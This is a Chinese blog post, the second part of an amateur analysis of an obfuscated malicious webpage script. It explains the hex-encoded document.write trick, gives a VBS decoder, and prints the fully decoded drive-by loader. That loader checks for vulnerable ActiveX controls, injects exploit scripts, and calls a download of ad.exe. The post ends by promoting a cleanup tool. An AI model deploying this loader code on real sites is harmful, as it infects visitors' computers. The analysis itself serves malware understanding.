【web】一段网页病毒代码分析(二)
【苏南博文导读】
貌似今天晚上洋洋洒洒居然这篇文章写的超过了2万字,算算能得好多稿费呢。呵呵。但是提交不上去,就还是分成两篇来写好了。好,那就书接上回~
【上一部分博文的地址是】http://blog.sina.com.cn/s/blog_4c4a58ca01000b8y.html
四、特殊的表达式
那么window[""][""](t)如何理解呢?没有看到过类似的表达式,貌似是二维数组,但是后面有貌似是个函数,当然,有问题问baidu拉,原来这里居然是
window["document"]["write"](t);
也就是 document.write(t);的一个变种写法拉。真少见。哎。
\x64\x6f\x63\x75\x6d\x65\x6e\x74,对应的值是 document。16进制编码标示。
在百度知道里面有个牛人甚至给出了个vbs的解密算法。
set fso=createobject("scripting.filesystemobject")
set txtfile=fso.opentextfile("code.txt")
s=txtfile.readall
dim regex
set regex=new regexp
regex.pattern="<a href="file://\\x[0-9">\\x[0-9</a> a-f][0-9 a-f]"
regex.ignorecase=true
regex.global=true
set mch=regex.execute(s)
for each match in mch
chars=match.value
charsto=replace(chars,"\x","")
s=replace(s,"\x" & charsto,chr(csng("&h" & charsto)))
next
set a=fso.createtextfile("a.txt")
a.writeline(s)
哎,杀鸡貌似用了宰牛刀,呵呵。
给个对照表好了
97 a 61 98 b 62 99 c 63 100 d 64 101 e 65 102 f 66 103 g 67 104 h 68 105 i 69 106 j 6a 107 k 6b 108 l 6c 109 m 6d 110 n 6e 111 o 6f 112 p 70 113 q 71 114 r 72 115 s 73 116 t 74 117 u 75 118 v 76 119 w 77 120 x 78 121 y 79 122 z 80
大家慢慢想哦,第一排是十进制标示,第二排是对应的字符,第三排就是十六进制拉。
五、继续追踪,扑朔迷离
但是t呢?貌似也是看不懂的一堆数字,继续baidu,有个高人说,直接把eval换成document.write就解密出来拉,我试了一下,果然有效果,但是字符解密到了一半就不知道什么原因断掉了,哎,看来要想想其它的办法了。在尝试中,偶然发现,这些数字据说是八进制的,是字符在电脑那边的另外的别名。那么,我尝试把t写入textarea的value里面,奇迹就这样发生了。所有的代码出来了。呵呵。解密完的代码如下:
function init(){document.write();}
window.onload = init;
if(document.cookie.indexof('ok')==-1){
try{
var e;
var ado=(document.createelement("object"));
ado.setattribute("classid","clsid:bd96c556-65a3-11d0-983a-00c04fc29e36");
var as=ado.createobject("adodb.stream","");
}
catch(e){
};
finally{
var expires=new date();
expires.settime(expires.gettime()+24*60*60*1000);
document.cookie='bweb=sct;path=/;expires='+expires.togmtstring();
if(e!="[object error]"){
document.write("<script src=ps\/01.js><\/script>")}
else{
try{
var f;
var storm=new activexobject("mps.stormplayer");
}
catch(f){};
finally{
if(f!="[object error]"){
document.write("<script src=ps\/sto.js><\/script>")
}
}
try{
var g;
var pps=new activexobject("powerplayer.powerplayerctrl.1");
}
catch(g){};
finally{
if(g!="[object error]"){
document.write("<script src=ps\/pps.js><\/script>")
}
}
try{
var h;
var obj=new activexobject("baidubar.tool");
}
catch(h){};
finally{
if(h!="[object error]"){
obj.dloadds("ps/tool.cab", "ad.exe", 0)
}
}
}
}
}
六、最终的结论和遗留问题
这段最终的代码发现,他的四个利用漏洞居然我一个也没有。哈哈。那么,就是说,他没有对我的电脑做什么,那么他的四个漏洞利用代码我也就不追踪了,呵呵。他利用的四个漏洞依次是:
adodb.stream,mps.stormplayer,powerplayer.powerplayerctrl.1,baidubar.tool。baidubar居然都有被利用,是baidu搜索条吗?呵呵。不知道,我的ie从来没有任何条条出现。
七、写在最后de话
大家看完了,一定担心自己的电脑是不是中病毒了呢?推荐大家一款非常好用的软件,windows清理助手。独家秘籍哦,事实证明,比360安全卫士在查杀恶意软件方面要好n倍。下载地址:http://www.qinglizhushou.com,一般人我还不告诉他呢。
本文来自苏南的博客, 转载请注明网址:http://newsn.net, 谢谢!
我的淘宝小店:http://68zz.com
我的Sina圈子:http://q.blog.sina.com.cn/pctalk
